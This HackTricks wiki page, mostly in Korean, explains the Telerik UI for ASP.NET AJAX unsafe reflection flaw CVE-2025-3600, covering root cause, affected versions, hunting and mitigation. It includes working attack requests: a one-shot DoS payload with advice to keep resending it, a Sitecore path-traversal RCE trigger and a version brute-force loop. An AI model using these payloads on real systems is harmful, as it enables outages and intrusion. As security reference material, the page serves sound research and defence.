Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기

Pre‑auth 상태에서 Telerik UI for ASP.NET AJAX Image Editor cache handler의 생성자 실행은 universal DoS를 가능하게 하며, 많은 애플리케이션에서는 대상별 가젯(target‑specific gadgets)을 악용해 pre‑auth RCE를 유발할 수 있습니다 (CVE-2025-3600).

TL;DR

  • Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). 많은 제품에서 pre‑auth로 노출됨.
  • Primitive: 공격자가 type name (prtype)을 제어합니다. 핸들러는 Type.GetType()으로 해당 타입을 해석하고, 인터페이스 타입 안전성을 확인하기 전에 Activator.CreateInstance()를 호출합니다. 모든 public 매개변수 없는 .NET 타입 생성자가 실행됩니다.
  • 영향:
  • .NET framework gadget (PowerShell WSMan finalizer)를 이용한 범용 pre‑auth DoS.
  • 실제 배포에서는 앱 특정 가젯을 악용하여, 특히 취약한 AppDomain.AssemblyResolve 핸들러를 통해 종종 pre‑auth RCE로 악용됩니다.
  • 수정: Telerik UI for ASP.NET AJAX 2025.1.416+로 업데이트하거나 핸들러를 제거/잠금하세요.

영향받는 버전

  • Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) 취약.
  • 2025.1.416에서 수정됨(출시일 2025-04-29). 즉시 패치하거나 핸들러를 제거/잠금하세요.

영향 범위 및 빠른 발견

  • 노출 확인:
  • GET /Telerik.Web.UI.WebResource.axd 는 핸들러가 연결되어 있다면 404/403 이외의 응답을 반환해야 합니다.
  • web.config에서 Telerik.Web.UI.WebResource.axd에 매핑된 핸들러를 확인하세요.
  • / 나 로그인 페이지에서 Telerik 문자열을 찾는 것에 의존하지 마세요. Sitecore와 같은 실제 제품은 기본 HTML에 참조 없이 핸들러를 노출하는 경우가 많습니다.
  • 취약 코드 경로를 트리거하려면: type=iec, dkey=1, 및 prtype= 필요.

Example probe and generic trigger:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

참고

  • 일부 PoCs는 dtype을 사용합니다; 구현은 다운로드 흐름에서 dkey==“1“을 확인합니다.
  • prtype는 assembly-qualified이거나 현재 AppDomain에서 resolvable해야 합니다.

유용한 코드/운영 검사

<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />

<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'

레거시 설치에서 빠른 버전 분류

동일한 애플리케이션이 레거시 type=rau 핸들러도 노출한다면, 구형 Telerik 도구는 type=iec 조사를 시도하기 전에 공유된 Telerik.Web.UI.dll 버전을 식별하는 데 여전히 도움이 될 수 있습니다. 이는 CVE-2025-3600을 직접적으로 악용하지 않습니다; 단지 rauiec가 동일한 어셈블리에 존재한다는 사실을 재사용할 뿐입니다.

Practical use:

  • type=rau에 접근할 수 있으면, 구형 RAU tooling에서 제공하는 classic major-version brute force를 사용해 정확한 Telerik.Web.UI 어셈블리 버전을 복구하세요.
  • 복구한 버전을 취약 범위(2011.2.712 ~ 2025.1.218)와 고정 빌드(2025.1.416+)와 비교하세요.
  • type=rau의 부재는 결론을 내리기에는 불충분합니다. rau가 비활성화되거나 필터링되어도 iec는 여전히 노출될 수 있습니다.

Example with the legacy CVE-2019-18935.py helper:

for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done

이것이 도움이 되는 이유:

  • 기업용 애플리케이션은 종종 수년간 구버전 Telerik 빌드를 포함합니다.
  • Red teams는 “handler exposed“와 “likely still on a vulnerable DLL“을 빠르게 구분할 수 있습니다.
  • During incident response, 같은 트릭은 파일시스템 접근이 바로 가능하지 않을 때 대규모 IIS 환경의 범위를 파악하는 데 도움이 됩니다.

Root cause – ImageEditorCacheHandler 내부의 unsafe reflection

Image Editor의 캐시 다운로드 흐름은 prtype으로 제공된 타입의 인스턴스를 생성하고, 이후에야 이를 ICacheImageProvider로 캐스트하고 다운로드 키를 검증합니다. 검증이 실패할 때에는 생성자가 이미 실행된 상태입니다.

관련 디컴파일 흐름 ```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }

private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

Exploit primitive: 제어된 type 문자열 → Type.GetType resolves it → Activator.CreateInstance runs its public parameterless constructor. 요청이 이후에 거부되더라도 gadget의 부작용은 이미 발생합니다.

## 범용 DoS gadget (앱 특정 gadgets 불필요)

Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell)는 finalizer가 초기화되지 않은 핸들을 dispose하여 GC가 이를 finalize할 때 처리되지 않은 예외를 발생시킵니다. 이로 인해 인스턴스화 직후 IIS worker 프로세스가 신뢰성 있게 크래시합니다.

One‑shot DoS request:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notes

  • 사이트를 오프라인으로 유지하려면 주기적으로 계속 전송하세요. 디버거에서 생성자가 호출되는 것을 관찰할 수 있으며, 크래시는 finalization 시 발생합니다.

From DoS to RCE – 권한 상승 패턴

안전하지 않은 생성자 실행은 많은 대상별 gadgets와 체인을 활성화합니다. 다음을 찾아보세요:

  1. 공격자 입력을 처리하는 매개변수 없는 생성자
  • 일부 ctors(또는 static initializers)는 즉시 Request의 query/body/cookies/headers를 읽고 (de)serialize합니다.
  • 예시 (Sitecore): ctor 체인이 GetLayoutDefinition()에 도달하여 HTTP 바디의 “layout“을 읽고 JSON.NET을 통해 JSON을 역직렬화합니다.
  1. 파일을 다루는 생성자
  • 디스크에서 config/blobs를 로드하거나 역직렬화하는 Ctros는 해당 경로(예: uploads/temp/data 폴더)에 쓸 수 있다면 강제로 조작될 수 있습니다.
  1. 앱 특정 작업을 수행하는 생성자
  • 상태 재설정, 모듈 토글, 프로세스 종료 등.
  1. AppDomain 이벤트 핸들러를 등록하는 생성자/static ctors
  • 많은 앱이 AppDomain.CurrentDomain.AssemblyResolve 핸들러를 추가하여 args.Name으로부터 DLL 경로를 구성하는데, 이 과정에서 입력 검증(sanitization)을 하지 않습니다. 타입 해석에 영향을 줄 수 있다면 공격자가 제어하는 경로에서 임의의 DLL 로드를 강제할 수 있습니다.
  1. Type.GetType을 통한 AssemblyResolve 강제
  • 존재하지 않는 타입을 요청하여 CLR 해석을 강제하고 등록된(잠재적으로 안전하지 않은) resolvers를 호출합니다. 예시 assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. 파괴적 부작용이 있는 Finalizers
  • 일부 타입은 finalizers에서 고정 경로 파일을 삭제합니다. 심볼릭 링크 추적(link-following)이나 예측 가능한 경로와 결합되면 특정 환경에서 로컬 권한 상승을 유발할 수 있습니다.

예시 pre‑auth RCE 체인 (Sitecore XP)

  • 단계 1 – Pre‑auth: static/instance ctor가 취약한 AssemblyResolve handler를 등록하는 타입을 트리거합니다(예: ControlFactory의 Sitecore FolderControlSource).
  • 단계 2 – Post‑auth: resolver-probed 디렉터리에 쓰기 권한을 얻습니다(예: auth bypass 또는 취약한 업로드를 통해) 그리고 악성 DLL을 심습니다.
  • 단계 3 – Pre‑auth: 존재하지 않는 타입과 traversal‑laden assembly 이름을 사용해 CVE‑2025‑3600을 악용하여 resolver가 심어둔 DLL을 로드하도록 강제 → IIS worker 권한으로 코드 실행.

트리거 예시

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

검증, 헌팅 및 DFIR 노트

  • 안전한 랩 검증: DoS payload를 실행하고 WSMan finalizer와 연관된 app pool 재시작/처리되지 않은 예외를 관찰하세요.
  • 텔레메트리에서 헌팅:
  • Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
  • Failed type loads and AppDomain.AssemblyResolve events.
  • Sudden w3wp.exe crashes/recycles following such requests.

완화

  • Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later.
  • Remove or restrict exposure of Telerik.Web.UI.WebResource.axd where possible (WAF/rewrites).
  • 서버 측 prtype 처리를 무시하거나 강화하세요(업그레이드는 인스턴스화 전에 적절한 검사를 적용).
  • 커스텀 AppDomain.AssemblyResolve 핸들러를 감사하고 강화하세요. args.Name에서 경로를 빌드할 때 무결성 검사 없이 생성하지 말고, strong-named loads나 whitelists를 선호하세요.
  • 업로드/쓰기 위치를 제한하고 탐색되는 디렉터리에 DLL이 떨어지지 않도록 방지하세요.
  • 비존재 타입 로드 시도를 모니터링하여 resolver 남용을 포착하세요.

치트시트

  • 존재 확인:
  • GET /Telerik.Web.UI.WebResource.axd
  • web.config에서 핸들러 매핑 확인
  • Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • 트리거 리졸버:
This.Class.Does.Not.Exist, watchTowr

관련 기법

  • IIS post-exploitation, .NET key extraction, and in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization and machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

참고 자료

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기